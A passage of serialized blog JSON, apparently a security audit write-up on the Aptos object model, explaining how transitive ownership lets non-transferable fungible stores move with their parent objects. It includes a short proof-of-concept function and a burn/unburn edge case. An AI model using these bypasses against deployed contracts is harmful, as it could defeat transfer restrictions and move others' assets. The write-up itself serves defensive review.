",{"type":26,"tag":83,"props":102169,"children":102171},{"className":102170},[],[102172],{"type":32,"value":101829},{"type":32,"value":102174}," feature, but previously burned objects will remain restorable.",{"type":26,"tag":35,"props":102176,"children":102177},{},[102178],{"type":26,"tag":39,"props":102179,"children":102180},{},[102181,102182,102186],{"type":32,"value":14464},{"type":26,"tag":217,"props":102183,"children":102184},{},[102185],{"type":32,"value":102165},{"type":32,"value":102187}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":26,"tag":39,"props":102189,"children":102190},{},[102191,102193,102199,102201,102206,102208,102213],{"type":32,"value":102192},"Another important thing is that ",{"type":26,"tag":83,"props":102194,"children":102196},{"className":102195},[],[102197],{"type":32,"value":102198},"fungible_asset::set_untransferable",{"type":32,"value":102200}," can be used to make all new ",{"type":26,"tag":83,"props":102202,"children":102204},{"className":102203},[],[102205],{"type":32,"value":100537},{"type":32,"value":102207}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":26,"tag":83,"props":102209,"children":102211},{"className":102210},[],[102212],{"type":32,"value":100028},{"type":32,"value":180},{"type":26,"tag":39,"props":102215,"children":102216},{},[102217,102219,102224,102226,102232,102234,102239,102241,102246],{"type":32,"value":102218},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":26,"tag":83,"props":102220,"children":102222},{"className":102221},[],[102223],{"type":32,"value":100028},{"type":32,"value":102225},", X can withdraw from that store. This is because ",{"type":26,"tag":83,"props":102227,"children":102229},{"className":102228},[],[102230],{"type":32,"value":102231},"fungible_asset::withdraw",{"type":32,"value":102233}," uses ",{"type":26,"tag":83,"props":102235,"children":102237},{"className":102236},[],[102238],{"type":32,"value":101553},{"type":32,"value":102240}," to verify both direct and indirect ownership of the ",{"type":26,"tag":83,"props":102242,"children":102244},{"className":102243},[],[102245],{"type":32,"value":100028},{"type":32,"value":101562},{"type":26,"tag":207,"props":102248,"children":102250},{"className":56140,"code":102249,"language":56139,"meta":8,"style":8},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[102251],{"type":26,"tag":83,"props":102252,"children":102253},{"__ignoreMap":8},[102254,102315,102331,102359,102388,102403,102414,102444,102465,102472,102512,102537,102544],{"type":26,"tag":217,"props":102255,"children":102256},{"class":7028,"line":7029},[102257,102261,102266,102270,102274,102278,102282,102286,102291,102295,102299,102303,102307,102311],{"type":26,"tag":217,"props":102258,"children":102259},{"style":7054},[102260],{"type":32,"value":101594},{"type":26,"tag":217,"props":102262,"children":102263},{"style":7064},[102264],{"type":32,"value":102265}," verify_ungated_and_descendant",{"type":26,"tag":217,"props":102267,"children":102268},{"style":7048},[102269],{"type":32,"value":1851},{"type":26,"tag":217,"props":102271,"children":102272},{"style":7054},[102273],{"type":32,"value":101770},{"type":26,"tag":217,"props":102275,"children":102276},{"style":7149},[102277],{"type":32,"value":1473},{"type":26,"tag":217,"props":102279,"children":102280},{"style":7054},[102281],{"type":32,"value":62887},{"type":26,"tag":217,"props":102283,"children":102284},{"style":7048},[102285],{"type":32,"value":7599},{"type":26,"tag":217,"props":102287,"children":102288},{"style":7054},[102289],{"type":32,"value":102290},"destination",{"type":26,"tag":217,"props":102292,"children":102293},{"style":7149},[102294],{"type":32,"value":1473},{"type":26,"tag":217,"props":102296,"children":102297},{"style":7054},[102298],{"type":32,"value":62887},{"type":26,"tag":217,"props":102300,"children":102301},{"style":7048},[102302],{"type":32,"value":8380},{"type":26,"tag":217,"props":102304,"children":102305},{"style":7054},[102306],{"type":32,"value":99705},{"type":26,"tag":217,"props":102308,"children":102309},{"style":7119},[102310],{"type":32,"value":101939},{"type":26,"tag":217,"props":102312,"children":102313},{"style":7048},[102314],{"type":32,"value":8064},{"type":26,"tag":217,"props":102316,"children":102317},{"class":7028,"line":6770},[102318,102323,102327],{"type":26,"tag":217,"props":102319,"children":102320},{"style":7048},[102321],{"type":32,"value":102322},"        [",{"type":26,"tag":217,"props":102324,"children":102325},{"style":7149},[102326],{"type":32,"value":13251},{"type":26,"tag":217,"props":102328,"children":102329},{"style":7048},[102330],{"type":32,"value":13256},{"type":26,"tag":217,"props":102332,"children":102333},{"class":7028,"line":6779},[102334,102338,102342,102346,102350,102355],{"type":26,"tag":217,"props":102335,"children":102336},{"style":7042},[102337],{"type":32,"value":76938},{"type":26,"tag":217,"props":102339,"children":102340},{"style":7048},[102341],{"type":32,"value":7051},{"type":26,"tag":217,"props":102343,"children":102344},{"style":7054},[102345],{"type":32,"value":101770},{"type":26,"tag":217,"props":102347,"children":102348},{"style":7149},[102349],{"type":32,"value":66974},{"type":26,"tag":217,"props":102351,"children":102352},{"style":7054},[102353],{"type":32,"value":102354}," current_address",{"type":26,"tag":217,"props":102356,"children":102357},{"style":7048},[102358],{"type":32,"value":7618},{"type":26,"tag":217,"props":102360,"children":102361},{"class":7028,"line":7140},[102362,102367,102371,102376,102380,102384],{"type":26,"tag":217,"props":102363,"children":102364},{"style":7054},[102365],{"type":32,"value":102366},"        count",{"type":26,"tag":217,"props":102368,"children":102369},{"style":7149},[102370],{"type":32,"value":8993},{"type":26,"tag":217,"props":102372,"children":102373},{"style":7054},[102374],{"type":32,"value":102375}," count",{"type":26,"tag":217,"props":102377,"children":102378},{"style":7149},[102379],{"type":32,"value":9025},{"type":26,"tag":217,"props":102381,"children":102382},{"style":7130},[102383],{"type":32,"value":9742},{"type":26,"tag":217,"props":102385,"children":102386},{"style":7048},[102387],{"type":32,"value":7162},{"type":26,"tag":217,"props":102389,"children":102390},{"class":7028,"line":7165},[102391,102395,102399],{"type":26,"tag":217,"props":102392,"children":102393},{"style":7048},[102394],{"type":32,"value":102322},{"type":26,"tag":217,"props":102396,"children":102397},{"style":7149},[102398],{"type":32,"value":13251},{"type":26,"tag":217,"props":102400,"children":102401},{"style":7048},[102402],{"type":32,"value":13256},{"type":26,"tag":217,"props":102404,"children":102405},{"class":7028,"line":7178},[102406,102410],{"type":26,"tag":217,"props":102407,"children":102408},{"style":7064},[102409],{"type":32,"value":91179},{"type":26,"tag":217,"props":102411,"children":102412},{"style":7048},[102413],{"type":32,"value":10932},{"type":26,"tag":217,"props":102415,"children":102416},{"class":7028,"line":7389},[102417,102422,102426,102431,102435,102440],{"type":26,"tag":217,"props":102418,"children":102419},{"style":7054},[102420],{"type":32,"value":102421},"            exists",{"type":26,"tag":217,"props":102423,"children":102424},{"style":7048},[102425],{"type":32,"value":7289},{"type":26,"tag":217,"props":102427,"children":102428},{"style":7119},[102429],{"type":32,"value":102430},"ObjectCore",{"type":26,"tag":217,"props":102432,"children":102433},{"style":7048},[102434],{"type":32,"value":100384},{"type":26,"tag":217,"props":102436,"children":102437},{"style":7054},[102438],{"type":32,"value":102439},"current_address",{"type":26,"tag":217,"props":102441,"children":102442},{"style":7048},[102443],{"type":32,"value":13841},{"type":26,"tag":217,"props":102445,"children":102446},{"class":7028,"line":7406},[102447,102452,102456,102460],{"type":26,"tag":217,"props":102448,"children":102449},{"style":7048},[102450],{"type":32,"value":102451},"            error",{"type":26,"tag":217,"props":102453,"children":102454},{"style":7149},[102455],{"type":32,"value":56166},{"type":26,"tag":217,"props":102457,"children":102458},{"style":7064},[102459],{"type":32,"value":101784},{"type":26,"tag":217,"props":102461,"children":102462},{"style":7048},[102463],{"type":32,"value":102464},"(ENOT_OBJECT_OWNER),\n",{"type":26,"tag":217,"props":102466,"children":102467},{"class":7028,"line":7439},[102468],{"type":26,"tag":217,"props":102469,"children":102470},{"style":7048},[102471],{"type":32,"value":63576},{"type":26,"tag":217,"props":102473,"children":102474},{"class":7028,"line":7487},[102475,102479,102483,102487,102492,102496,102500,102504,102508],{"type":26,"tag":217,"props":102476,"children":102477},{"style":7154},[102478],{"type":32,"value":91366},{"type":26,"tag":217,"props":102480,"children":102481},{"style":7054},[102482],{"type":32,"value":100450},{"type":26,"tag":217,"props":102484,"children":102485},{"style":7149},[102486],{"type":32,"value":8993},{"type":26,"tag":217,"props":102488,"children":102489},{"style":7054},[102490],{"type":32,"value":102491}," borrow_global",{"type":26,"tag":217,"props":102493,"children":102494},{"style":7048},[102495],{"type":32,"value":7289},{"type":26,"tag":217,"props":102497,"children":102498},{"style":7119},[102499],{"type":32,"value":102430},{"type":26,"tag":217,"props":102501,"children":102502},{"style":7048},[102503],{"type":32,"value":100384},{"type":26,"tag":217,"props":102505,"children":102506},{"style":7054},[102507],{"type":32,"value":102439},{"type":26,"tag":217,"props":102509,"children":102510},{"style":7048},[102511],{"type":32,"value":7669},{"type":26,"tag":217,"props":102513,"children":102514},{"class":7028,"line":7524},[102515,102520,102524,102528,102532],{"type":26,"tag":217,"props":102516,"children":102517},{"style":7054},[102518],{"type":32,"value":102519},"        current_address",{"type":26,"tag":217,"props":102521,"children":102522},{"style":7149},[102523],{"type":32,"value":8993},{"type":26,"tag":217,"props":102525,"children":102526},{"style":7054},[102527],{"type":32,"value":100450},{"type":26,"tag":217,"props":102529,"children":102530},{"style":7149},[102531],{"type":32,"value":180},{"type":26,"tag":217,"props":102533,"children":102534},{"style":7048},[102535],{"type":32,"value":102536},"owner;\n",{"type":26,"tag":217,"props":102538,"children":102539},{"class":7028,"line":7553},[102540],{"type":26,"tag":217,"props":102541,"children":102542},{"style":7048},[102543],{"type":32,"value":12298},{"type":26,"tag":217,"props":102545,"children":102546},{"class":7028,"line":7570},[102547],{"type":26,"tag":217,"props":102548,"children":102549},{"style":7048},[102550],{"type":32,"value":7184},{"type":26,"tag":39,"props":102552,"children":102553},{},[102554,102556,102561],{"type":32,"value":102555},"This could allow for bypassing assumptions about ",{"type":26,"tag":83,"props":102557,"children":102559},{"className":102558},[],[102560],{"type":32,"value":100028},{"type":32,"value":102562}," true ownership and its non-transferability.",{"type":26,"tag":207,"props":102564,"children":102566},{"className":56140,"code":102565,"language":56139,"meta":8,"style":8},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[102567],{"type":26,"tag":83,"props":102568,"children":102569},{"__ignoreMap":8},[102570,102628,102681,102725,102773,102780,102825,102833],{"type":26,"tag":217,"props":102571,"children":102572},{"class":7028,"line":7029},[102573,102577,102581,102586,102590,102595,102599,102603,102607,102611,102616,102620,102624],{"type":26,"tag":217,"props":102574,"children":102575},{"style":7054},[102576],{"type":32,"value":52893},{"type":26,"tag":217,"props":102578,"children":102579},{"style":7054},[102580],{"type":32,"value":64784},{"type":26,"tag":217,"props":102582,"children":102583},{"style":7064},[102584],{"type":32,"value":102585}," untransferable_transfer",{"type":26,"tag":217,"props":102587,"children":102588},{"style":7048},[102589],{"type":32,"value":1851},{"type":26,"tag":217,"props":102591,"children":102592},{"style":7054},[102593],{"type":32,"value":102594},"caller",{"type":26,"tag":217,"props":102596,"children":102597},{"style":7149},[102598],{"type":32,"value":1473},{"type":26,"tag":217,"props":102600,"children":102601},{"style":7149},[102602],{"type":32,"value":10222},{"type":26,"tag":217,"props":102604,"children":102605},{"style":7054},[102606],{"type":32,"value":79834},{"type":26,"tag":217,"props":102608,"children":102609},{"style":7048},[102610],{"type":32,"value":7599},{"type":26,"tag":217,"props":102612,"children":102613},{"style":7054},[102614],{"type":32,"value":102615},"receipient",{"type":26,"tag":217,"props":102617,"children":102618},{"style":7149},[102619],{"type":32,"value":1473},{"type":26,"tag":217,"props":102621,"children":102622},{"style":7054},[102623],{"type":32,"value":62887},{"type":26,"tag":217,"props":102625,"children":102626},{"style":7048},[102627],{"type":32,"value":7618},{"type":26,"tag":217,"props":102629,"children":102630},{"class":7028,"line":6770},[102631,102635,102640,102644,102648,102652,102657,102661,102665,102669,102673,102677],{"type":26,"tag":217,"props":102632,"children":102633},{"style":7154},[102634],{"type":32,"value":77780},{"type":26,"tag":217,"props":102636,"children":102637},{"style":7054},[102638],{"type":32,"value":102639}," constructor_ref",{"type":26,"tag":217,"props":102641,"children":102642},{"style":7149},[102643],{"type":32,"value":8993},{"type":26,"tag":217,"props":102645,"children":102646},{"style":7048},[102647],{"type":32,"value":100450},{"type":26,"tag":217,"props":102649,"children":102650},{"style":7149},[102651],{"type":32,"value":56166},{"type":26,"tag":217,"props":102653,"children":102654},{"style":7064},[102655],{"type":32,"value":102656},"create_object",{"type":26,"tag":217,"props":102658,"children":102659},{"style":7048},[102660],{"type":32,"value":100709},{"type":26,"tag":217,"props":102662,"children":102663},{"style":7149},[102664],{"type":32,"value":56166},{"type":26,"tag":217,"props":102666,"children":102667},{"style":7064},[102668],{"type":32,"value":100718},{"type":26,"tag":217,"props":102670,"children":102671},{"style":7048},[102672],{"type":32,"value":1851},{"type":26,"tag":217,"props":102674,"children":102675},{"style":7054},[102676],{"type":32,"value":102594},{"type":26,"tag":217,"props":102678,"children":102679},{"style":7048},[102680],{"type":32,"value":8697},{"type":26,"tag":217,"props":102682,"children":102683},{"class":7028,"line":6779},[102684,102688,102692,102696,102700,102704,102709,102713,102717,102721],{"type":26,"tag":217,"props":102685,"children":102686},{"style":7154},[102687],{"type":32,"value":77780},{"type":26,"tag":217,"props":102689,"children":102690},{"style":7054},[102691],{"type":32,"value":102046},{"type":26,"tag":217,"props":102693,"children":102694},{"style":7149},[102695],{"type":32,"value":8993},{"type":26,"tag":217,"props":102697,"children":102698},{"style":7048},[102699],{"type":32,"value":100450},{"type":26,"tag":217,"props":102701,"children":102702},{"style":7149},[102703],{"type":32,"value":56166},{"type":26,"tag":217,"props":102705,"children":102706},{"style":7064},[102707],{"type":32,"value":102708},"address_from_constructor_ref",{"type":26,"tag":217,"props":102710,"children":102711},{"style":7048},[102712],{"type":32,"value":1851},{"type":26,"tag":217,"props":102714,"children":102715},{"style":7149},[102716],{"type":32,"value":9804},{"type":26,"tag":217,"props":102718,"children":102719},{"style":7054},[102720],{"type":32,"value":100888},{"type":26,"tag":217,"props":102722,"children":102723},{"style":7048},[102724],{"type":32,"value":7669},{"type":26,"tag":217,"props":102726,"children":102727},{"class":7028,"line":7140},[102728,102732,102736,102740,102745,102749,102753,102757,102761,102765,102769],{"type":26,"tag":217,"props":102729,"children":102730},{"style":7154},[102731],{"type":32,"value":77780},{"type":26,"tag":217,"props":102733,"children":102734},{"style":7054},[102735],{"type":32,"value":79027},{"type":26,"tag":217,"props":102737,"children":102738},{"style":7149},[102739],{"type":32,"value":8993},{"type":26,"tag":217,"props":102741,"children":102742},{"style":7048},[102743],{"type":32,"value":102744}," primary_fungible_store",{"type":26,"tag":217,"props":102746,"children":102747},{"style":7149},[102748],{"type":32,"value":56166},{"type":26,"tag":217,"props":102750,"children":102751},{"style":7064},[102752],{"type":32,"value":100779},{"type":26,"tag":217,"props":102754,"children":102755},{"style":7048},[102756],{"type":32,"value":1851},{"type":26,"tag":217,"props":102758,"children":102759},{"style":7054},[102760],{"type":32,"value":102092},{"type":26,"tag":217,"props":102762,"children":102763},{"style":7048},[102764],{"type":32,"value":7599},{"type":26,"tag":217,"props":102766,"children":102767},{"style":7064},[102768],{"type":32,"value":100735},{"type":26,"tag":217,"props":102770,"children":102771},{"style":7048},[102772],{"type":32,"value":8348},{"type":26,"tag":217,"props":102774,"children":102775},{"class":7028,"line":7165},[102776],{"type":26,"tag":217,"props":102777,"children":102778},{"emptyLinePlaceholder":17},[102779],{"type":32,"value":7817},{"type":26,"tag":217,"props":102781,"children":102782},{"class":7028,"line":7178},[102783,102788,102792,102797,102801,102805,102809,102813,102817,102821],{"type":26,"tag":217,"props":102784,"children":102785},{"style":7048},[102786],{"type":32,"value":102787},"    object",{"type":26,"tag":217,"props":102789,"children":102790},{"style":7149},[102791],{"type":32,"value":56166},{"type":26,"tag":217,"props":102793,"children":102794},{"style":7064},[102795],{"type":32,"value":102796},"transfer_raw",{"type":26,"tag":217,"props":102798,"children":102799},{"style":7048},[102800],{"type":32,"value":1851},{"type":26,"tag":217,"props":102802,"children":102803},{"style":7054},[102804],{"type":32,"value":102594},{"type":26,"tag":217,"props":102806,"children":102807},{"style":7048},[102808],{"type":32,"value":7599},{"type":26,"tag":217,"props":102810,"children":102811},{"style":7054},[102812],{"type":32,"value":102092},{"type":26,"tag":217,"props":102814,"children":102815},{"style":7048},[102816],{"type":32,"value":7599},{"type":26,"tag":217,"props":102818,"children":102819},{"style":7054},[102820],{"type":32,"value":102615},{"type":26,"tag":217,"props":102822,"children":102823},{"style":7048},[102824],{"type":32,"value":7669},{"type":26,"tag":217,"props":102826,"children":102827},{"class":7028,"line":7389},[102828],{"type":26,"tag":217,"props":102829,"children":102830},{"style":7033},[102831],{"type":32,"value":102832},"    //receipient can interact with store by using their signer\n",{"type":26,"tag":217,"props":102834,"children":102835},{"class":7028,"line":7406},[102836],{"type":26,"tag":217,"props":102837,"children":102838},{"style":7048},[102839],{"type":32,"value":7184},{"type":26,"tag":39,"props":102841,"children":102842},{},[102843,102845,102852],{"type":32,"value":102844},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":26,"tag":163,"props":102846,"children":102849},{"href":102847,"rel":102848},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[167],[102850],{"type":32,"value":102851},"edge case",{"type":32,"value":102853}," involving the transfer of a non-transferable fungible store.",{"type":26,"tag":207,"props":102855,"children":102857},{"className":56140,"code":102856,"language":56139,"meta":8,"style":8},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[102858],{"type":26,"tag":83,"props":102859,"children":102860},{"__ignoreMap":8},[102861,102927,102989,103037,103048,103083,103103,103110,103117,103132,103139,103167],{"type":26,"tag":217,"props":102862,"children":102863},{"class":7028,"line":7029},[102864,102868,102872,102877,102881,102885,102889,102894,102898,102903,102907,102911,102915,102919,102923],{"type":26,"tag":217,"props":102865,"children":102866},{"style":7054},[102867],{"type":32,"value":52893},{"type":26,"tag":217,"props":102869,"children":102870},{"style":7054},[102871],{"type":32,"value":64784},{"type":26,"tag":217,"props":102873,"children":102874},{"style":7064},[102875],{"type":32,"value":102876}," transfer_with_ref",{"type":26,"tag":217,"props":102878,"children":102879},{"style":7048},[102880],{"type":32,"value":1851},{"type":26,"tag":217,"props":102882,"children":102883},{"style":7154},[102884],{"type":32,"value":101297},{"type":26,"tag":217,"props":102886,"children":102887},{"style":7149},[102888],{"type":32,"value":1473},{"type":26,"tag":217,"props":102890,"children":102891},{"style":7119},[102892],{"type":32,"value":102893}," LinearTransferRef",{"type":26,"tag":217,"props":102895,"children":102896},{"style":7048},[102897],{"type":32,"value":7599},{"type":26,"tag":217,"props":102899,"children":102900},{"style":7054},[102901],{"type":32,"value":102902},"to",{"type":26,"tag":217,"props":102904,"children":102905},{"style":7149},[102906],{"type":32,"value":1473},{"type":26,"tag":217,"props":102908,"children":102909},{"style":7054},[102910],{"type":32,"value":62887},{"type":26,"tag":217,"props":102912,"children":102913},{"style":7048},[102914],{"type":32,"value":8380},{"type":26,"tag":217,"props":102916,"children":102917},{"style":7054},[102918],{"type":32,"value":99705},{"type":26,"tag":217,"props":102920,"children":102921},{"style":7119},[102922],{"type":32,"value":101939},{"type":26,"tag":217,"props":102924,"children":102925},{"style":7048},[102926],{"type":32,"value":8064},{"type":26,"tag":217,"props":102928,"children":102929},{"class":7028,"line":6770},[102930,102934,102938,102942,102947,102951,102956,102960,102964,102968,102972,102976,102980,102984],{"type":26,"tag":217,"props":102931,"children":102932},{"style":7064},[102933],{"type":32,"value":100298},{"type":26,"tag":217,"props":102935,"children":102936},{"style":7048},[102937],{"type":32,"value":1851},{"type":26,"tag":217,"props":102939,"children":102940},{"style":7149},[102941],{"type":32,"value":11704},{"type":26,"tag":217,"props":102943,"children":102944},{"style":7054},[102945],{"type":32,"value":102946},"exists",{"type":26,"tag":217,"props":102948,"children":102949},{"style":7048},[102950],{"type":32,"value":7289},{"type":26,"tag":217,"props":102952,"children":102953},{"style":7119},[102954],{"type":32,"value":102955},"Untransferable",{"type":26,"tag":217,"props":102957,"children":102958},{"style":7048},[102959],{"type":32,"value":100384},{"type":26,"tag":217,"props":102961,"children":102962},{"style":7154},[102963],{"type":32,"value":101297},{"type":26,"tag":217,"props":102965,"children":102966},{"style":7149},[102967],{"type":32,"value":180},{"type":26,"tag":217,"props":102969,"children":102970},{"style":7154},[102971],{"type":32,"value":91922},{"type":26,"tag":217,"props":102973,"children":102974},{"style":7048},[102975],{"type":32,"value":100893},{"type":26,"tag":217,"props":102977,"children":102978},{"style":7149},[102979],{"type":32,"value":56166},{"type":26,"tag":217,"props":102981,"children":102982},{"style":7064},[102983],{"type":32,"value":101784},{"type":26,"tag":217,"props":102985,"children":102986},{"style":7048},[102987],{"type":32,"value":102988},"(ENOT_MOVABLE));\n",{"type":26,"tag":217,"props":102990,"children":102991},{"class":7028,"line":6779},[102992,102996,103000,103004,103009,103013,103017,103021,103025,103029,103033],{"type":26,"tag":217,"props":102993,"children":102994},{"style":7154},[102995],{"type":32,"value":77780},{"type":26,"tag":217,"props":102997,"children":102998},{"style":7054},[102999],{"type":32,"value":100450},{"type":26,"tag":217,"props":103001,"children":103002},{"style":7149},[103003],{"type":32,"value":8993},{"type":26,"tag":217,"props":103005,"children":103006},{"style":7054},[103007],{"type":32,"value":103008}," borrow_global_mut",{"type":26,"tag":217,"props":103010,"children":103011},{"style":7048},[103012],{"type":32,"value":7289},{"type":26,"tag":217,"props":103014,"children":103015},{"style":7119},[103016],{"type":32,"value":102430},{"type":26,"tag":217,"props":103018,"children":103019},{"style":7048},[103020],{"type":32,"value":100384},{"type":26,"tag":217,"props":103022,"children":103023},{"style":7154},[103024],{"type":32,"value":101297},{"type":26,"tag":217,"props":103026,"children":103027},{"style":7149},[103028],{"type":32,"value":180},{"type":26,"tag":217,"props":103030,"children":103031},{"style":7154},[103032],{"type":32,"value":91922},{"type":26,"tag":217,"props":103034,"children":103035},{"style":7048},[103036],{"type":32,"value":7669},{"type":26,"tag":217,"props":103038,"children":103039},{"class":7028,"line":7140},[103040,103044],{"type":26,"tag":217,"props":103041,"children":103042},{"style":7064},[103043],{"type":32,"value":100298},{"type":26,"tag":217,"props":103045,"children":103046},{"style":7048},[103047],{"type":32,"value":10932},{"type":26,"tag":217,"props":103049,"children":103050},{"class":7028,"line":7165},[103051,103056,103060,103065,103069,103074,103078],{"type":26,"tag":217,"props":103052,"children":103053},{"style":7054},[103054],{"type":32,"value":103055},"        object",{"type":26,"tag":217,"props":103057,"children":103058},{"style":7149},[103059],{"type":32,"value":180},{"type":26,"tag":217,"props":103061,"children":103062},{"style":7048},[103063],{"type":32,"value":103064},"owner ",{"type":26,"tag":217,"props":103066,"children":103067},{"style":7149},[103068],{"type":32,"value":9106},{"type":26,"tag":217,"props":103070,"children":103071},{"style":7154},[103072],{"type":32,"value":103073}," ref",{"type":26,"tag":217,"props":103075,"children":103076},{"style":7149},[103077],{"type":32,"value":180},{"type":26,"tag":217,"props":103079,"children":103080},{"style":7048},[103081],{"type":32,"value":103082},"owner,\n",{"type":26,"tag":217,"props":103084,"children":103085},{"class":7028,"line":7178},[103086,103091,103095,103099],{"type":26,"tag":217,"props":103087,"children":103088},{"style":7048},[103089],{"type":32,"value":103090},"        error",{"type":26,"tag":217,"props":103092,"children":103093},{"style":7149},[103094],{"type":32,"value":56166},{"type":26,"tag":217,"props":103096,"children":103097},{"style":7064},[103098],{"type":32,"value":101784},{"type":26,"tag":217,"props":103100,"children":103101},{"style":7048},[103102],{"type":32,"value":102464},{"type":26,"tag":217,"props":103104,"children":103105},{"class":7028,"line":7389},[103106],{"type":26,"tag":217,"props":103107,"children":103108},{"style":7048},[103109],{"type":32,"value":12988},{"type":26,"tag":217,"props":103111,"children":103112},{"class":7028,"line":7406},[103113],{"type":26,"tag":217,"props":103114,"children":103115},{"style":7048},[103116],{"type":32,"value":9890},{"type":26,"tag":217,"props":103118,"children":103119},{"class":7028,"line":7439},[103120,103124,103128],{"type":26,"tag":217,"props":103121,"children":103122},{"style":7048},[103123],{"type":32,"value":100675},{"type":26,"tag":217,"props":103125,"children":103126},{"style":7149},[103127],{"type":32,"value":13251},{"type":26,"tag":217,"props":103129,"children":103130},{"style":7048},[103131],{"type":32,"value":13256},{"type":26,"tag":217,"props":103133,"children":103134},{"class":7028,"line":7487},[103135],{"type":26,"tag":217,"props":103136,"children":103137},{"style":7048},[103138],{"type":32,"value":9890},{"type":26,"tag":217,"props":103140,"children":103141},{"class":7028,"line":7524},[103142,103146,103150,103154,103158,103163],{"type":26,"tag":217,"props":103143,"children":103144},{"style":7054},[103145],{"type":32,"value":102787},{"type":26,"tag":217,"props":103147,"children":103148},{"style":7149},[103149],{"type":32,"value":180},{"type":26,"tag":217,"props":103151,"children":103152},{"style":7048},[103153],{"type":32,"value":103064},{"type":26,"tag":217,"props":103155,"children":103156},{"style":7149},[103157],{"type":32,"value":267},{"type":26,"tag":217,"props":103159,"children":103160},{"style":7054},[103161],{"type":32,"value":103162}," to",{"type":26,"tag":217,"props":103164,"children":103165},{"style":7048},[103166],{"type":32,"value":7162},{"type":26,"tag":217,"props":103168,"children":103169},{"class":7028,"line":7553},[103170],{"type":26,"tag":217,"props":103171,"children":103172},{"style":7048},[103173],{"type":32,"value":7184},{"type":26,"tag":39,"props":103175,"children":103176},{},[103177,103179,103184,103186,103191],{"type":32,"value":103178},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":26,"tag":83,"props":103180,"children":103182},{"className":103181},[],[103183],{"type":32,"value":101837},{"type":32,"value":103185},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":26,"tag":83,"props":103187,"children":103189},{"className":103188},[],[103190],{"type":32,"value":79834},{"type":32,"value":103192}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":26,"tag":607,"props":103194,"children":103196},{"id":103195},"references",[103197],{"type":32,"value":103198},"References",{"type":26,"tag":39,"props":103200,"children":103201},{},[103202,103207,103209,103215,103217,103222,103224,103229],{"type":26,"tag":83,"props":103203,"children":103205},{"className":103204},[],[103206],{"type":32,"value":103198},{"type":32,"value":103208}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":26,"tag":83,"props":103210,"children":103212},{"className":103211},[],[103213],{"type":32,"value":103214},"Refs",{"type":32,"value":103216}," are based on the ",{"type":26,"tag":83,"props":103218,"children":103220},{"className":103219},[],[103221],{"type":32,"value":33511},{"type":32,"value":103223}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":26,"tag":83,"props":103225,"children":103227},{"className":103226},[],[103228],{"type":32,"value":33511},{"type":32,"value":103230}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":26,"tag":39,"props":103232,"children":103233},{},[103234,103236,103241,103243,103248,103249,103255,103257,103262,103264,103269],{"type":32,"value":103235},"Let's get back to the ",{"type":26,"tag":83,"props":103237,"children":103239},{"className":103238},[],[103240],{"type":32,"value":100028},{"type":32,"value":103242}," deletion example. Both ",{"type":26,"tag":83,"props":103244,"children":103246},{"className":103245},[],[103247],{"type":32,"value":101320},{"type":32,"value":1308},{"type":26,"tag":83,"props":103250,"children":103252},{"className":103251},[],[103253],{"type":32,"value":103254},"fungible_asset::remove_store",{"type":32,"value":103256}," use the same object-specific ",{"type":26,"tag":83,"props":103258,"children":103260},{"className":103259},[],[103261],{"type":32,"value":101253},{"type":32,"value":103263}," permission. It can be created only during object creation. There is no separate ",{"type":26,"tag":83,"props":103265,"children":103267},{"className":103266},[],[103268],{"type":32,"value":101253},{"type":32,"value":103270}," for fungible assets.",{"type":26,"tag":207,"props":103272,"children":103273},{"className":56140,"code":101203,"language":56139,"meta":8,"style":8},[103274],{"type":26,"tag":83,"props":103275,"children":103276},{"__ignoreMap":8},[103277,103284,103323,103330,103337],{"type":26,"tag":217,"props":103278,"children":103279},{"class":7028,"line":7029},[103280],{"type":26,"tag":217,"props":103281,"children":103282},{"style":7033},[103283],{"type":32,"value":101215},{"type":26,"tag":217,"props":103285,"children":103286},{"class":7028,"line":6770},[103287,103291,103295,103299,103303,103307,103311,103315,103319],{"type":26,"tag":217,"props":103288,"children":103289},{"style":7054},[103290],{"type":32,"value":52893},{"type":26,"tag":217,"props":103292,"children":103293},{"style":7054},[103294],{"type":32,"value":64784},{"type":26,"tag":217,"props":103296,"children":103297},{"style":7064},[103298],{"type":32,"value":101231},{"type":26,"tag":217,"props":103300,"children":103301},{"style":7048},[103302],{"type":32,"value":1851},{"type":26,"tag":217,"props":103304,"children":103305},{"style":7054},[103306],{"type":32,"value":101240},{"type":26,"tag":217,"props":103308,"children":103309},{"style":7149},[103310],{"type":32,"value":1473},{"type":26,"tag":217,"props":103312,"children":103313},{"style":7149},[103314],{"type":32,"value":10222},{"type":26,"tag":217,"props":103316,"children":103317},{"style":7119},[103318],{"type":32,"value":101253},{"type":26,"tag":2